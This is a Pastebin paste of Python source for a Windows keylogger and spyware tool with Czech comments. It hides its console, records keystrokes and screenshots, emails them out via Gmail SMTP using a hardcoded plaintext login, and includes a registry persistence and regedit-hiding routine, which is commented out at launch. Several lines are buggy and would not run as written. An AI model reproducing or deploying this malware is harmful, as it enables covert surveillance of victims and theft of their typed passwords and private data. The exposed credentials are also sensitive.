Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import win32api
- import win32console
- import win32gui
- import pythoncom
- import pyHook
- import getpass
- import socket
- import shutil
- import os
- import platform
- import sys
- from sys import argv
- from urllib import urlopen
- import smtplib
- from email.mime.base import MIMEBase
- from email.mime.image import MIMEImage
- from email.mime.multipart import MIMEMultipart
- from email.mime.text import MIMEText
- from email import Encoders
- import pyscreenshot as ImageGrab
- from time import strftime
- import time
- import threading
- from threading import Thread
- script = argv
- user = getpass.getuser()
- password = 'DEAUGHH'
- Date = strftime("%a %d %b %Y")
- Time = strftime("%H:%M:%S %p")
- Date_Time = strftime("(%a %d %b %Y) (%H:%M:%S %p)")
- log_file = 'Log_File @ ['+win32api.GetComputerName()+']@'+strftime("[(%a %d %b %Y) (%H-%M-%S %p)]")+'.txt'
- win = win32console.GetConsoleWindow()
- win32gui.ShowWindow(win, 0)
- def Antis():
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v Sinxtbot /t REG_DWORD /d 1 /f")
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f")
- os.system("attrib +a +s +h %windir%\regedit.exe")
- os.system("attrib +a +s +h %windir%\system32\regedit.exe")
- os.system("reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Sintxtbot /t REG_SZ /d C:\Users\\"+user+"\Downloads\Sinxtbot\Sinxtbot.exe /f")
- def Keylogee():
- def OnKeyboardEvent(event):
- # ------------------ Vytvoreni Log_file -------------- #
- f = open(log_file, 'w')
- line = '========================================================='
- f.write(line+'\n >>> Logging Started @ ' + Time + ' @ ' + Date +'\n'+line+'\n\n' )
- f.close()
- shutil.move('attrib +s'+os.getcwd()+'\\'+log_file)
- # ------------------------------------------------------- #
- f = open(log_file, 'a')
- f.write(event.Key)
- if event.Key == 'Return':
- f.write('\n')
- def send_message():
- while 1:
- Iteration = 1
- time.sleep(30)
- msg = MIMEMultipart()
- msg['From'] = 'martyq.155@gmail.com'
- msg['To'] = 'martyq.158@gmail.com'
- msg['Subject'] = 'simple email in python'
- message = 'here is the email'
- msg.attach(MIMEText(message))
- msg.attach(log_file)
- mailserver = smtplib.SMTP('smtp.gmail.com', 587)
- mailserver.ehlo()
- mailserver.starttls()
- mailserver.ehlo()
- mailserver.login('martyq.155@gmail.com', '7205842692')
- mailserver.sendmail('martyq.155@gmail.com', 'martyq.158@gmail.com', msg.as_string())
- mailserver.quit()
- #----------------------------------------------#
- time.sleep(450)
- # -------- SMAZE SOUBOR S LOGY --------------- #
- if Iteration == 3:
- os.remove(log_file)
- def ChytneScreen(event):
- while 1:
- if event.Key == 'Return':
- screenshot_name = 'Screenshot@['+win32api.GetComputerName()+']@['+strftime("(%a %d %b %Y) (%H %M %S %p)")+'].jpg'
- screenshot = ImageGrab.grab().save(screenshot_name, 'JPEG')
- msg = MIMEMultipart()
- screenshot_data = open(screenshot_name, 'rb').read()
- screenshot_msg = MIMEMultipart(_subtype='related')
- screenshot_image = MIMEImage(screenshot_data, 'jpeg')
- msg['From'] = 'martyq.155@gmail.com'
- msg['To'] = 'martyq.158@gmail.com'
- msg['Subject'] = screenshot_name
- message = 'Ahoj! Posilam ti tedy ty fotky z dovolene.'
- msg.attach(MIMEText(message))
- screenshot_msg.attach(screenshot_image)
- mailserver = smtplib.SMTP('smtp.gmail.com', 587)
- mailserver.ehlo()
- mailserver.starttls()
- mailserver.ehlo()
- mailserver.login('martyq.155@gmail.com', '7205842692')
- mailserver.sendmail('martyq.155@gmail.com', 'martyq.158@gmail.com', screenshot_msg.as_string())
- # -------------- SMAZE SCREENSHOT ------------------- #
- os.remove(screenshot_name)
- mailserver.quit()
- # --------------------------------------------------- #
- # ----------------- Start sbirani informaci ------------------ #
- hm = pyHook.HookManager()
- hm.KeyDown = OnKeyboardEvent
- hm.KeyDown = ChytneScreen
- hm.HookKeyboard()
- pythoncom.PumpMessages()
- Thread(target = Keylogee).start()
- Thread(target = ChytneScreen).start()
- Thread(target = send_message).start()
- #Thread(target = Antis).start() <----------------- Deaktivovana funkce
- time.sleep(5)
- Thread(target = Keylogee).start()
- Thread(target = ChytneScreen).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement